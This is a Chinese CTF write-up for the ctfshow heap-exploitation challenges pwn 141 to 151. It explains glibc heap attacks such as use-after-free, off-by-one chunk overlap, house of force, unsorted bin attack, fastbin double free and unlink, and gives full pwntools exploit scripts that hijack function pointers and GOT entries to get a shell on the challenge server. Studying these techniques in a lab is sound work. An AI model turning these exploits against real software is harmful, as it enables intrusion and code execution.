ctfshow 堆利用前置基础 pwn 141~159 wp(已完结)

pwn 141

​​​​在这里插入图片描述
ida查看,发现菜单对应的操作有add,delete,print
在这里插入图片描述

先分析add函数

在ida中点击malloc,可以查看这一段程序中有几个malloc函数,当我们需要申请一个chunck时,程序如果给出多个chunck,其他的几个chunck很可能是攻击的关键所在。

接下来分析每次申请的两个chunck分别有什么作用:

将先申请的称为chunck1,后申请的称为chunck2

可以看到chunck1在16行被申请,在第22行被赋值为一个输出作用的函数

chunck2在27行被申请,在34行被读入,用于储存读入的数据

在这里插入图片描述

接下来看delete函数

第一个if用于判断是否超出chunck数量的范围

第二个if是重点,他仅仅只是free了每组的两个chunck,但是free后并没有将指针置零,所以存在uaf漏洞。

uaf漏洞全称,use after free,当我们free一个chunck之后,理论上是不能再使用chunck里的内容了,但是free并不会清空里面的所有内容,所以如果指向该chunck的指针没有被置零的话,我们就可以继续使用这个指针去利用这个被free掉的chunck里的内容,完成攻击

如何防止uaf攻击,最简单的方法就是把指针置零,如:

free(*((void **)&notelist + v1));

*((void **)&notelist + v1) = NULL;

加上下面这一句即可

在这里插入图片描述

看print函数

前面是跟delete函数一样的判断

后面是漏洞重点,他将输入index选择的组的chunck1当作函数执行,chunck2当作参数输出

在这里插入图片描述

这个chunck1存储的print_note_content就是一个很普通的输出函数,正常情况下,确实会起到输出我们读入内容的作用

在这里插入图片描述

最后我们发现这道题存在后门函数

好,现在我们分析完代码了,整理一下可以用来攻击的条件:
1.存在uaf漏洞
2.存在后门函数
3.每组的chunck1是一个存放函数的chunck,会被执行
那么思路就很明确了,我们通过利用uaf漏洞,将chunck1改为后门函数地址,再调用一次print交互即可

from pwn import * 
count=1
gdb_flag=0
if count==0:
    io=process('./p')
else:
    io=remote('pwn.challenge.ctf.show',28132)
if gdb_flag==1:
    gdb.attach(io)
#从这里开始是题目的交互部分,cmd表示选择add,delete还是print
def cmd(x):
    io.recvuntil(b'choice :')
    io.sendline(str(x))
#下面三个是具体交互内容
def add(size,data):
    cmd(1)
    io.recvuntil(b'Note size :')
    io.sendline(str(size))
    io.recvuntil(b'Content :')
    io.sendline(data)
def delete(index):
    cmd(2)
    io.recvuntil(b'Index :')
    io.sendline(str(index))
def show(index):
    cmd(3)
    io.recvuntil(b'Index :')
    io.sendline(str(index))   
add(0x20,b'aaaa')
add(0x20,b'bbbb')
delete(0)
delete(1)
add(0x8,p32(0x8049684))
pause()
show(0)
io.interactive()

在这里插入图片描述
第二次add后
在这里插入图片描述
两次free后
接下来是本题攻击的重点,回到我们之前的设想,我们想要改写某组的chunck1为backdoor,但是每组我们只能对chunck2进行读入,所以我们要想办法,让某族的chunck1经过特殊操作,被当作chunck2使用,能够被我们改写内容
当我们申请chunck时,会先去tcache bin中查看,是否有大小刚好相等的chunck,如果有,就取出使用
在这里插入图片描述
(黄色在白色底色下有点看不清)
黄色部分第一行是0x10的两个tcache bin
第二行是0x30的两个tcache bin

此时如果我们向系统要两个0x10的chunck,就会拿到tcache bin中这两个chunck。
在这里插入图片描述
现在,我们执行了那句add(0x8,p32(0x8049684))
可以看到两个size为0x10的chunck被申请回去了

此时,由于tcache bin先释放后被申请的特性,下面的那个allocated chunck是此时的chunck1,上面的那个allocated chunck才是此时的chunck2
在这里插入图片描述

具体查看一下也可以看到,上面的那个allocated chunck中有0x8049684数据
此时我们使用print交互就可以劫持到backdoor
此时可能会有一个疑问,为什么最后是show(0)
1.show(0)说明利用第一组(序号为0)的chunck1的print函数(已经被改成backdoor)和chunck2的内容,能够完成劫持
2.注意我们的add和delete部分,delete部分在释放后是不会置零的,所以在add部分,我们哪怕释放了无数个chunck,他的指针都不是零,指针不是零这个位置就不会用来申请新的chunck,所以我们第三次add时其实申请在序号2,序号为0的组别始终存储着我们第一次申请时的那一组chunck1和chunck2
在这里插入图片描述
最后也是打印出了flag
做题过程中需要注意:
1.打本地本地是否有ctfshow_flag这个文件,出现cat: /ctfshow_flag: 没有那个文件或目录其实已经打通了
2.打远程第一次由于字符串内容的发送可能会报错,重新运行即可

pwn 142

在这里插入图片描述
交互部分为create,edit,show,delete四个部分
在这里插入图片描述
先分析create函数
还是一样,先关注是否有除了我们申请以外的malloc,发现有一个,分析他们的内容
我们称先被malloc的为chunck1,后被malloc的为chunck2
chunck1在14行被申请,30行给chunck1赋值为size,24行给chunck1+8的位置防止chunck2的指针
chunck2在24行被申请,32行被读入内容
在这里插入图片描述
delete函数,重点关注free部分,发现释放了两个chunck,但只有chunck1的指针被置零了,chunck2没有,所以依然存在uaf漏洞
在这里插入图片描述
show函数
将chunck1存储的size输出,将chunck1存储的chunck2的指针以%s格式化字符串输出,即以chunck1中存储的指针为地址,输出指向的值,%s的格式化字符串很容易联想到配合got表的地址泄露,这是本题的重点
在这里插入图片描述
在这里插入图片描述

edit函数
关注到第19行的读入,read_input函数的第二个参数是读入的长度,但是从edit函数传递过去的参数是size+1,出现了一个字节的堆溢出,是典型的off-by-one

现在整理一下可以攻击的条件:
1.edit函数存在off-by-one,可以改物理上下一个chunck的size部分
2.chunck1中存在chunck2的指针,改写成got表可以泄露libc,也可以改写got表内容,完成劫持

那么我们的攻击思路就出现了:
1.off-by-one攻击造成堆块复用,获得对chunck1的改写权
2.把chunck1中chunck2的指针改成got表泄露libc
3.劫持free函数的got表为system,主动触发free

from pwn import * 
from LibcSearcher import*
count=1
gdb_flag=0
if count==0:
    io=process('./p')
else:
    io=remote('pwn.challenge.ctf.show',28184)
if gdb_flag==1:
    gdb.attach(io)
#正常交互
def cmd(x):
    io.recvuntil(b'choice :')
    io.sendline(str(x))
def add(size,data):
    cmd(1)
    io.recvuntil(b'Size of Heap : ')
    io.sendline(str(size))
    io.recvuntil(b'Content of heap:')
    io.sendline(data)
def delete(index):
    cmd(4)
    io.recvuntil(b'Index :')
    io.sendline(str(index))
def show(index):
    cmd(3)
    io.recvuntil(b'Index :')
    io.sendline(str(index))   
def edit(index,data):
    cmd(2)
    io.recvuntil(b'Index :')
    io.sendline(str(index))   
    io.recvuntil(b'Content of heap : ')
    io.send(data)
elf=ELF('./p')
add(0x18,b'aaaa')
add(0x10,b'bbbb')
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
delete(1)
add(0x30, p64(elf.got['free']) * 4 + p64(0x30) + p64(elf.got['free'])) 
show(1)
io.recvuntil(b'Content : ')
free_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(free_addr))
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
system=libc_base+libc.dump('system')
edit(1,p64(system))
pause()
delete(0)
io.interactive()

先申请两个chunck
在这里插入图片描述
现在执行了两句add
仔细观察是否与我们刚开始分析的相同

1.每次申请两个chunck,所以申请两次出现了四个chunck
2.看第一组的chunck1,第一行的末尾是他的size=0x21,后面三个chunck也一样
接下来来到它的第二行,前8字节的0x18就是第一组chunck2的size,后面0x27ccf050开始8字节的0x10即第二组chunck2的size
(注意,其实第二个堆块申请0x10和0x18都一样的,申请0x10是为了在gdb中能清楚的看到0x18和0x10,更方便理解和检验)
3.观察第一组chunck1和第二组chunck1的指针部分,以chunck1为例
它的指针内容在第二行的后八字节,为0x27ccf030,他指向的确实是第一组chunck2的data部分(第一组chunck2实际是从0x27ccf020开始的,但是开始的0x10字节是header部分,所以指向0x27ccf030是正确的,是data部分)
所以现在我们可以确定,我们之前的分析是正确的了,开始接下来的off-by-one
在这里插入图片描述
现在我们执行了edit,完成了off-by-one

此时会发现,allocated chunck的数量变成了3个,后两个chunck被合并了,再看内部的内容,data段开头是/bin/sh接下来是十个a,而第二组的chunck1的size也被成功改成了0x41

这一步有很多细节:
1.为什么变成3个chunck了?因为堆的遍历机制是,我从chunck【A】出发,系统认为chunck【B】的addr是chunck【A】的addr+size(chunck【A】的size),所以当堆遍历到第二组的chunck1时,由于其0x40的size,直接就跳到了top chunck的位置,就不认为第二组chunck2的位置是有chunck的了
2.为什么溢出一个字节能如此改写地址?因为小端序,我们这一个字节的读入,可以理解成读入在这八字节的最右边,是从右向左读入的,所以读入一个0x41不会变成0x4100000000000021二十直接覆盖了最右边的0x21
3.为什么第一个chunck一定要是0x18?因为堆header的存在和强制进位机制,我们申请0x18的chunck会变成0x20的大小,能够被我们使用的是data段的0x10和物理意义上下一个chunck的pre_size位置的0x8,所以申请0x18的时候,刚好把物理意义上下一个chunck的size前所有位置都读完,当溢出一个字节的时候就会覆盖到size。无论是0x18还是0x28都可以,只要保证刚刚好读入完pre_size部分即可
4.为什么填入/bin/sh?后面会用到,暂时不用在意
在这里插入图片描述
现在我们执行了delete语句

表面上heap命令看到的是释放了一个chunck,但仔细看我们的fastbin中,它存在两个被释放的chunck,这是我们之后攻击的关键
在这里插入图片描述
现在我们执行了edit语句
此时是edit中第一个malloc的结束,可以看到,0x20处的那个fastbin已经被申请了,虽然heap部分还是看不到,记住这个部分成为了第三组的chunck1
在这里插入图片描述
现在edit函数结束了,0x40的fastbin也被申请回去了,他成为了第三组的chunck2
现在我们堆块重叠已经完成了
在这里插入图片描述
其实0x27ccf060开始就已经是第三组chunck1的部分了,本来我们是没有chunck1的写入权限的,通过了堆块重叠的方法,我们已经成功写入了内容,0x27ccf050~060的四个数据只是填充作用,后面的0x30伪造之前的长度,最后的0x602018是free的got表,之后无论我们想要对第三组的chunck2做什么,都会变成对free的got表操作

之后通过show(1)泄露出free的地址,然后得到libc的基地址,计算出system的地址
在这里插入图片描述
在这里插入图片描述
这两张图是edit执行前后free_got的值的变化
edit前,free_got的值就是free的真实地址
edit后,free_got的值就是system的libc中的地址
右侧可以看到free和system的地址,所以此时我们已经完成了free_got的劫持
在这里插入图片描述
最后delete(0)利用了我们之前在第一组(序号0)的chunck2中输入的/bin/sh,而表面上是call free实则已经变成了system函数
在这里插入图片描述
最后libc_search选择第四个,拿到flag

pwn 143

在这里插入图片描述
交互界面有add,delete,edit,show,exit五个操作
区别于常规的四个基本操作,这个exit并不寻常,他在exit前,把v4[1]的内容当作函数调用,正常情况下就是goodbye_message
在这里插入图片描述
add函数

虽然很复杂,但是分析后可以发现,这道题就是普通的申请chunck和读入内容,然后list上存储每个chunck的size,在add函数中没有什么漏洞
在这里插入图片描述
delete函数

delete中有及时置零指针,所以不存在uaf漏洞
在这里插入图片描述
edit函数

严重漏洞,输入时没有检查size的大小,所以可以造成堆溢出
在这里插入图片描述
输出所有的chunck的序号和内容
在这里插入图片描述
后门函数

现在整理一下可以用来攻击的条件:
1.存在后门函数
2.edit存在堆溢出漏洞
3.v4【1】存储的函数会被执行

攻击思路:
利用house of force攻击,改v4【1】的值为后门函数

house of force的攻击方法:
一般传统的house of force是通过把top chunck size改成一个很大的数字,常用0xffffffffffffffff。
当改好top chunck size后,我们就可以申请一个特别的chunck,让chunck覆盖到各种地方。
如,申请一个很大的chunck,使堆块覆盖到libc中的各种函数的hook部分,完成劫持。也可以申请一个负数,使堆块覆盖到got表的部分,完成got表的改写。

house of force攻击的应用条件:
1.需要能够控制top chunck的size
2.需要用户能自由分配malloc的申请大小

其中第二点是最限制house of force的,很多题目会限制申请chunck的size范围和申请次数,就导致我们有的时候申请不了特别大的chunck或者负数chunck

本题是house of force的一个简单应用,改写的是v4【1】这个chunck,所以更加简单

from pwn import * 
count=1
gdb_flag=0
if count==0:
    io=process('./p')
else:
    io=remote('pwn.challenge.ctf.show',28296)
if gdb_flag==1:
    gdb.attach(io)
def cmd(x):
    io.recvuntil(b'Your choice:')
    io.sendline(str(x))
def add(size,data):
    cmd(2)
    io.recvuntil(b'Please enter the length:')
    io.sendline(str(size))
    io.recvuntil(b'Please enter the name:')
    io.sendline(data)
def delete(index):
    cmd(4)
    io.recvuntil(b'Please enter the index:')
    io.sendline(str(index))
def show():
    cmd(1)
def edit(index,size,data):
    cmd(3)
    io.recvuntil(b'Please enter the index:')
    io.sendline(str(index))   
    io.recvuntil(b'Please enter the length of name:')
    io.sendline(str(size))
    io.recvuntil(b'Please enter the new name:')
    io.sendline(data)
add(0x30,b'aaaa')
edit(0,0x50,b'a'*(0x38)+p64(0xffffffffffffffff))
size=-(0x60+0x8)
cmd(2)
io.recvuntil(b'Please enter the length:')
io.sendline(str(size))
#add(size,b'bbbb')
add(0x10,b'x'*8+p64(0x400d83))
pause()
cmd(5)
io.interactive()

在这里插入图片描述

先随意申请一个chunck,作用是:
1.知道v4【1】离top chunck的距离
2.用来改top chunck size

第一个distance的作用,计算v4【1】和top chunck的距离
第二个distance的作用,计算我们申请的chunck要覆盖多少字节能覆盖到top chunck size
具体分析一下计算方法:
第一个distance,我们的house of force实际是为了把top chunck的header提到v4【1】的header,所以distance求的是两个chunck的header距离差
第二个distance求的是从我们申请的chunck的data段开始读入内容,所以distance的第一个数字是我们申请的chunck的addr+0x10(0x10是header的大小,加0x10就到data了),第二个数字是top chunck size的位置,因为top chunck的header在0x27d9b060,所以size在+0x8的位置,第二个数字就是top chunck addr+0x8

在这里插入图片描述
edit语句执行后,我们已经成功改写top chunck size为0xffffffffffffffff(虽然这道题不需要这么大的size,但是当我们要攻击got表或者libc的hook时,往往需要很大的size,所以这道题也同时锻炼一下面对其他情形时使用house of force攻击的能力)
在这里插入图片描述
执行完add语句后
我们已经完成了top chunck的移动
但是这一步操作中仍有细节:
为什么距离是-0x60但是申请的是-(0x60+8)?

首先我们需要了解强制对齐这个操作:
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK
其中req是我们申请的大小,即填入malloc函数的数据
size_sz表达的是额外的一些空间,常被理解为header的大小,但是实际上header是size_sz大小的两倍。换一种理解方式,我们的chunck实际上是会利用到物理意义上下一个chunck的pre_size部分的,所以其实我们需要X大小的空间时,只需要X-0x8的data长度,再加上0x10的header长度,就是X+0x8。以上是在64位时的举例,事实跟计算得出的数据一样,64位的size_sz就是0x8。如果是32位的话,就是需要X,所以需要X-0x4的data,加上0x8的header,最终是X+0x4的长度,同样32位的size_sz就是0x4
MALLOC_ALIGN_MASK就是0xf,简单理解一下后面的加法和与运算部分,就是,如果,req+size_sz是0x10的倍数,就不改变,如果不是,即十六进制下最后一位数字大于0,那么就完成一次十六进制的进位,同时最低为清零。

了解完了强制对齐,我们回到题目,此时-(0x60+0x8)进入malloc,经过强制对齐操作,就会变成申请一个0x60的chunck。

补充:既然强制对齐操作后的数字都是0x10,0x20等0x10的倍数,那么如果我的目标位置与top chunck的距离不是0x10的倍数呢,此时我们就需要往前多申请一些距离,然后合理的填补那些距离,比如到got表时,注意是否需要保护got表其他的内容,然后在改我们需要改写的内容即可。
那么这个多申请一些到底是多少呢,其实就是多申请0x10,但是如果我的数据本来就是0x10的倍数时,申请0x10不就白白多申请了0x10的距离了吗。经过计算,其实我们申请的数字直接是:distance+size_sz+0xf即可,这样无论这个distance是否是0x10的倍数,都可以最短的申请到,可以偷一个小懒。

这一步的申请没有用add,因为我们传的是一个负数,读入负数字节是不会读入内容的。

在这里插入图片描述
申请一个chunck,在v4【1】的位置填入backdoor地址
0x12704010是v4的地址,前面八字节是v4【0】,后面八字节是v4【1】,因为他储存的是一个64位指针,所以是八字节一个数组
在这里插入图片描述
我们直接回到开头,看第一个chunck,即v【4】,也可以看到分别是八字节一个指针,指向对应的函数段,ida中也可以差点,0x400857和0x400876就是初始化的存储在v4中的那两个指针
在这里插入图片描述
最后也是劫持到了后门函数,拿到flag

pwn 144

在这里插入图片描述
存在create,delete,edit三个常见交互和后门函数交互
在这里插入图片描述
在这里插入图片描述
add函数,很常规
在这里插入图片描述
delete函数,在free后置零了指针,不存在uaf漏洞
在这里插入图片描述
edit函数,没有检查读入的size,存在堆溢出漏洞
在这里插入图片描述
后门函数

整理一下攻击条件:
1.edit存在堆溢出漏洞
2.存在后门函数
3.交互中达到特殊条件,即(unsigned __int64)magic <= 0x1BF52,即可进入后门函数

攻击方法:unsorted bin attack改magic,使进入后门函数

先简单介绍一下unsorted bin attack:
unsorted bin attack可以将某个地址的值改的很大,但不能控制这个值具体的值,一般用于改global_max_fast然后fast bin attack,这些暂时跟题目无关,回到题目,我们只需要将magic改大即可。

攻击流程:
1.申请chunck并free让他进入unsorted bin
2.改unsorted bin的bk为target-0x10(其实pre_size,size,fd都会更改,只是根据我们的需要)
3.把这个unsorted bin申请回来
完成magic改值

具体原因:
1.改写某个unsorted bin的bk等内容后,实际上是欺骗了系统,让他把目标位置当作了一个chunck
2.为什么是target-0x10呢,因为fd和bk指向的都是堆块的header部分,而我们希望的是改target的值,所以想要把target放在data部分,因此是-0x10(如果32位的话,header是0x8,就是-0x8)
3.最后申请回来,由于unsorted bin中走了一个chunck,所以这里简化为两步:
我们称这个要被移走的chunck为victim,同时在我们的unsorted bin attack过程中,我们一般只放一个chunck进入unsorted bin或者多个同样大小的chunck进入unsorted bin,所以victim的fd指向的就是链表头部
(a)让链表头部指向victim的bk(在攻击中就是我们的target-0x10)
(b)让target-0x10开头的那个chunck的fd指向链表头部,因此这个位置会被赋予一个值,这个就是我们的那个很大但不可控制的值的来源。因为这个值在libc中,所以一定很大。
可以看到这个攻击过程我们并没有用到target-0x10所在chunck的fd,只依赖bk完成攻击,所以我们一般将他的fd直接覆盖过去即可。(但是由于不规范的覆盖,我们其实损坏了unsorted bin的链表结构,在之后向unsorted bin中插入chunck时很可能会出错)

from pwn import * 
count=1
gdb_flag=0
if count==0:
    io=process('./p')
else:
    io=remote('pwn.challenge.ctf.show',28125)
if gdb_flag==1:
    gdb.attach(io)
def cmd(x):
    io.recvuntil(b'Your choice :')
    io.sendline(str(x))
def add(size,data):
    cmd(1)
    io.recvuntil(b'Size of Heap : ')
    io.sendline(str(size))
    io.recvuntil(b'Content of heap:')
    io.sendline(data)
def delete(index):
    cmd(3)
    io.recvuntil(b'Index :')
    io.sendline(str(index))
def edit(index,size,data):
    cmd(2)
    io.recvuntil(b'Index :')
    io.sendline(str(index))   
    io.recvuntil(b'Size of Heap : ')
    io.sendline(str(size))
    io.recvuntil(b'Content of heap : ')
    io.send(data)
add(0x80,b'aaaa')
add(0x80,b'bbbb')
add(0x80,b'cccc')
delete(1)
target=0x6020a0
payload=b'x'*(0x90-0x10)+p64(0)+p64(0x91)+p64(0)+p64(target-0x10)
edit(0,len(payload),payload)
add(0x80,b'dddd')
cmd(114514)
io.interactive()

在这里插入图片描述
先申请三个chunck,从上到下称为chunck1,chunck2,chunck3
chunck1用来edit覆盖chunck2
chunck2用来unsorted bin attack
chunck3用来隔绝top chunck,因为除了fast bin和tcache bin以外的free chunck都会被top chunck合并
在这里插入图片描述
此时完成了chunck1对chunck2的覆盖,注意magic此时的数据都是0
在这里插入图片描述
可以看到此时把unsorted bin中的chunk2申请回来后,magic已经被改成一个很大的值了
之后我们只需要输入114514即可进入后门函数
在这里插入图片描述
最后成功拿到flag

pwn 145

对glibc的演示,直接等到他demo演示完毕输入/bin/sh就可以提权了
此处用gdb再具体的分析一下整个过程
在这里插入图片描述
这是刚传入aaaaaaaa时的情形
在这里插入图片描述

这是chunckA被free后的情形,可以看到由于传入unsorted bin,fd和bk从原本的aaaaaaaa和0变成libc中的地址,实际上的main_arena+0x60的位置(32位下就应该是+0x20)
在这里插入图片描述
这是chunckA刚被申请回去当chunckC的时候,这里有两个细节:
1.malloc申请的内容是不会被置零的,所以可以看到unsorted bin时放的fd和bk在申请后还是没变
2.为什么chunckA是0x521,第二次被chunckC申请时只需要0x500,却申请了整个chunck?因为unsorted bin在取出chunck时,只有现有的chunck大出需要的chunck很多时,才会进行切割处理,如果并没有超过太多大小的话,就会直接全部给他(前提是没有完全相同大小的chunck,完全相同大小的chunck在unsorted bin的分配机制中是最优先的),全部被申请是因为超过大小不多的话,切割会造成很多碎片化的空间,这是系统所不希望的。
在这里插入图片描述
现在是cccccccc被读入chunckC的时候
后面输出chunckA和chunckC内容之所以相同,是因为chunckA的指针没有被置零,而chunckC的指针跟chunckA其实是一样的,都是第一个chunck的addr

pwn 146

题目直接劫持到了后门,直接输入sh就可以提权(因为输入的内容会被system执行,但是只允许输入两字节内容,所以选择sh)
依然是分析一下具体的demo过程
在这里插入图片描述
地址为0x603000的chunck就是我们申请的p所指向的chunck
data部分也是从0x603000+0x10开始,而因为填写的内容是p1【1】所以,data部分前八个字节未被改变,后八个字节被改变为Printf函数地址
在这里插入图片描述
此时,被free掉的p1指向的chunck,现在被申请回来由p2指向

在这里插入图片描述
现在p2【1】已经成功被改成了后门函数的地址,在之后的输入中输入/bin/sh即可提权

本题最值得注意的点就是uaf漏洞的多样利用,uaf漏洞很好发现,即在free后有没有对指针置零,但是uaf的利用有很多不同的方法。
一般的应用场景多是,表面上对于所有chunck进行各种限制甚至检查,但其实可以通过uaf漏洞,绕过检查。

如本题的uaf漏洞是利用p2改写内容,p1调用,但是由于free和malloc都不会清空chunck中数据的特性,很多这种情况,我们也可以用p2去调用或查看p1当时存储的关键信息,比如如果p1较大,会进入到unsorted bin,那么他被p2申请回来的时候,data部分就有fd和bk,等等。

pwn 147

同样也是输入两字节被system执行,所以输入sh提权

这道题演示的是fastbin attack中的fastbin double free攻击
在这里插入图片描述
现在申请了三个chunck,free了chunck1
来到fastbin double free的一个重点,为什么不能连续free同一个chunck两次?
因为fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。
当我们free chunck1时,链表指针头部指向的就是chunck1,此时再次free chunck1会被检查到,此时如果我们先free chunck2,就可以让链表指针头部指向的是chunck2,再进行第二次free chunck1就不会被检查到了
此时的结构就是
main_arena—>chunck1—>chunck2—>chunck1—>0

略作总结:
1.fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。
所以我们能够通过构造main_arena—>chunck1—>chunck2—>chunck1—>0这样的结构来完成double free
2.因为没有明确说存在uaf漏洞,fastbin double free的攻击实际上是通过申请main_arena指向的那个chunck来控制链表末端的chunck,进行数值的改写
3.fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空,所以可以连续free相邻的chunck,而不至于合并影响内存结构

在这里插入图片描述
在这里插入图片描述
这里可以看到,无论是赋值dddddddd还是eeeeeeee都会被写入chunck1,所以这个基本的fastbin double free就成型了

pwn 148

更之前的题目一样,demo结束输入sh提权
这题演示的是pwn147的进阶利用,
在这里插入图片描述
先申请三个chunck,chunck1用于fastbin double free,chunck2用于绕过main_arena检查

在这里插入图片描述
此时可以看到fastbin的链表里已经完成了double free

此时fastbin的具体结构是:main_arena—>chunck1—>chunck2—>chunck1—>0
这道题跟上一道题演示的区别就是他对于末尾的这个0进行了攻击,因为这个0是链表结束的标志。
在这里插入图片描述
这是执行完strcpy(e, "EEEEEEEE");后的情形,这一步单独拿出来看,便于我们后面理解整个攻击的原理。(肯定会有疑问,执行这一句的时候,不应该0x603000和0x603020都被申请走了吗,为什么还在heapinfo显示的fastbin中,这个后面会解释,同时这样可以更好理解这攻击过程)

由于fastbin的单向链表,看链表的下一个chunck在哪都是看fd,而此时执行了strcpy(e, "EEEEEEEE");,所以chunck2的data部分是EEEEEEEE,所以fd就是EEEEEEEE,因此指向的就是0x4545454545454545(0x45是E的ascii码值)

在这里插入图片描述
现在是三个chunck都被申请回去,也存在疑问,之前指向的不是0x4545454545454545吗,这是由于攻击造成的异常导致的显示问题。实际情况是,上一个图片展示的情形前,在chunck2被申请走前,fastbin的实际结构其实是:main_arena—>chunck1—>0,所以在最后申请chunck1时,chunck2的fd早就不产生影响了

随着后续的chunck1的fd被改成栈上的地址
内部结构也跟着变成了
main-arena—>stack_addr
(一般指向stack_addr后就结束了,stack_addr可能是一些不可读之类的特殊区域,只是这道题很凑巧,我们可以看到0x7fffffffde10这个chunck的fd就是0x603010,奇妙的是他也在堆区域里,所以凑巧的让链表继续遍历了,并不重要,不会影响到我们的fastbin double free攻击,因为我们只涉及到stack_addr)

在这里插入图片描述
等到我们的stack_addr被当作chunck申请走后,fastbin中他就不存在了,后续也可以看到,很成功的改掉了他的data段为0x4747474747474747

由于攻击过程中显示的异常,可能还有点迷茫,我们再来总结一遍整个攻击的流程:
1.申请三个chunck
2.构成double free,此时的结构main_arena—>chunck1—>chunck2—>chunck1—>0
3.申请走chunck1,此时的结构main_arena—>chunck2—>chunck1—>0
4.申请走chunck2,此时的结构main_arena—>chunck1—>0
5.更改chunck2的值,由于攻击造成的异常,显示时好像看到把(4)中的chunck1给覆盖了,但现在再看,其实现在chunck2是影响不到chunck1的,此时结构还是main_arena—>chunck1—>0
6.更改chunck1的值,此时的结构main_arena—>chunck1—>stack_addr—>……,
7.申请走chunck1,此时的结构main_arena—>stack_addr—>……
8.申请走stack_addr为地址的chunck,此时的fastbin的结构已经不重要了,我们已经获得了栈上地址的写入权限

最后的细节:可以看到最后的图片里,该chunck的size是0x20,这是fastbin double free攻击的关键,在每次取出chunck时会有一个检查,检查这个chunck的size是否符合当前fastbin的大小,在0x20的fastbin链表中,如果发现一个0x30的chunck就会报错。
这题是出题人已经在这个位置放置好了一个0x20,所以我们前面申请chunck时也申请0x8,0x10之类的最终会是0x20大小的chunck,这样就能在释放后进入fastbin0x20的这一个链表,避免报错。

pwn 149

输入sh提权
这道题的demo演示了malloc_consolidate的与double free有关的处理
在这里插入图片描述
开始申请两个chunck,第一个chunck用于后面完成fastbin double free,第二个用于隔绝top chunck,防止合并第一个chunck,因为第一个chunck后续会被放到smallbin中,这个后面再说。
在这里插入图片描述
释放掉chunck1,此时进入fastbin,很正常的流程
在这里插入图片描述
申请一个较大的chunck,此时就是这道题的关键了,接下来详细讲讲这个申请的流程:
我们都知道,bins都是为了存放被释放的chunck,然后可以重新快速的被申请回去,提高了程序的效率,其中有一个malloc_consolidate机制
先申请0x410的chunck,发现超过了fastbin的范围(0x80),此时调用malloc_consolidate,它有两种走向:
1.如果global_max_fast 为 0,即fastbin甚至都没初始化,那么就将他初始化
但是显然,我们都已经放一个chunck进入fastbin中了,他肯定初始化过了,那么执行的就是第二种情况
2.按照一定的规则,合并fastbin中的chunck,然后将它放到unsorted bin
然后因为unsortedbin中也找不到够被申请的chunck,根据size的大小,分配到smallbin或者largebin
就像图里,原本在fastbin中的chunck现在去了smallbin
在这里插入图片描述
之前我们说的,fastbin double free的检查机制,main_arena指向的内容不能被直接free进入fastbin所以,这个方法跟之前用chunck2隔绝一样,都是通过漏洞成功double free
此时图片里可以看到chunck1同时有两个归属
此时也很有操作性,由于一个chunck在unsortedbin中,直接申请回来chunck1会由于分配机制,先申请回来fastbin中的那个,既可以输出内容泄露libc,又可以更改指针攻击在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
三张图:
刚被申请回来
被填入0x43434343434343
被填入0x44444444444444
所以也是完成了douuble free

pwn 150

输入sh提权
本题演示的是unlink的demo

开始演示之前,先简单介绍一下unlink
unlink应用情景很多,本题讲的是在双链表的bin中的unlink,即有fd和bk的bin,如unsorted bin

unlink的工作:
在一个bin的链表中,当我们申请出一个chunck时,让他出这条双向链表时,就让前后的chunck相连,让我们用程序语句来表示
即,当前要出列的chunck为victim,chunck的fd指向的chunck为forward chunck,bk指向的chunck为back chunck
先让forward chunck的bk变为victim的bk,即back chunck的地址
再让back chunck的fd变为victim的fd,即forward chunck的地址
很简单,所以理论上看这个脱链过程,甚至只要改变了victim的fd和bk不就可以造成攻击了吗
但是实际上,unlink存在一个检查,要求:
victim—>fd—>bk=victim victim的fd指向的chunck的bk是victim的地址
victim—>bk—>fd=victim victim的bk指向的chunck的fd是victim的地址
所以,我们构造的fake fd和fake bk要满足这个条件,即
fake fd=victim_addr-0x18
fake bk=victim_addr-0x10
以fake fd为例,fake fd=victim_addr-0x18,那么该位置chunck的bk就是在fake fd+0x18=victim_addr-0x18+0x18=victim满足判断条件(至于为什么是0x18,在64位下,header是0x10的大小,fd是0x8的大小,0x10+0x8后就是bk的位置)
同理fake bk=victim_addr-0x10,该位置chunck的fd就是在fake bk+0x10=victim-0x10+0x10=victim也满足判断条件
至此,我们进入demo
在这里插入图片描述
先申请两个chunck
在这里插入图片描述
现在已经编辑好了chunck,我们来看其中的内容
首先是fake fd,fake bk,可以看到:
victim_addr=0x
fake fd=0x6020b8,fake bk=0x6020c0,fake fd+0x18=fake bk+0x10=0x6020d0(这个下一张图再分析)
接下来先看fake inuse,原本应该是0x91的size,inuse位P=1表示上一个chunck在使用,但是此时被篡改为了0x90,表示上一个chunck是释放状态,紧接着
继续看fake prev size=0x80,本来应该是0x90的size,也被篡改了
因为,释放chunck的时候,会检查上下物理相邻的chunck是否也是被释放的(就是检查inuse),然后根据prev size去查找上一个chunck,此时prev size=0x80,那就把fake fd和fake bk当作真正的fd和bk了
在这里插入图片描述
然后回到之前fake fd+0x18和fake bk+0x10的0x6020d0,此时存储的值就是victim_addr,注意,就是0x603010,因为我们篡改了prev size,所以根据chunck2向前找,并没有找到整个chunck1,而是只找到了0x603010的位置,至此整个unlink的构造完成
在这里插入图片描述
可以看到此时要free第二个参数,记住,free的参数指向的是data部分,不是0x603090而是0x6030a0。
在这里插入图片描述
可以看到chunck0_ptr中的内容被改变了,新内容指向的地址的值也被改成了AAAABBBB

做一个总结:
我们需要unlink攻击,就需要构造fake chunck避免检查
1.fake fd+0x18=fake bk+0x10=victim_addr
2.next chunck的inuse改为0,表示上一个chunck也被释放了
3.next chunck的prev size改写,使得向上合并的时候,找到fake chunck,使用fake fd和fake
bk
4.释放next chunck,合并本chunck,就获得了编辑本chunck被释放状态下的权限

本题特别的地方在于,0x6020d0中存储着chunck0+0x10的地址,所以我们的fake fd+0x18和fake bk+0x10可以指向此处。
一般情况,其他地方没有存储chunck0等的地址,可以把fake fd放在victim-0x18的位置,fake bk也是同理,这样也能构造攻击

pwn 151

输入sh提权
本题的demo演示的是house of spirit的攻击方法

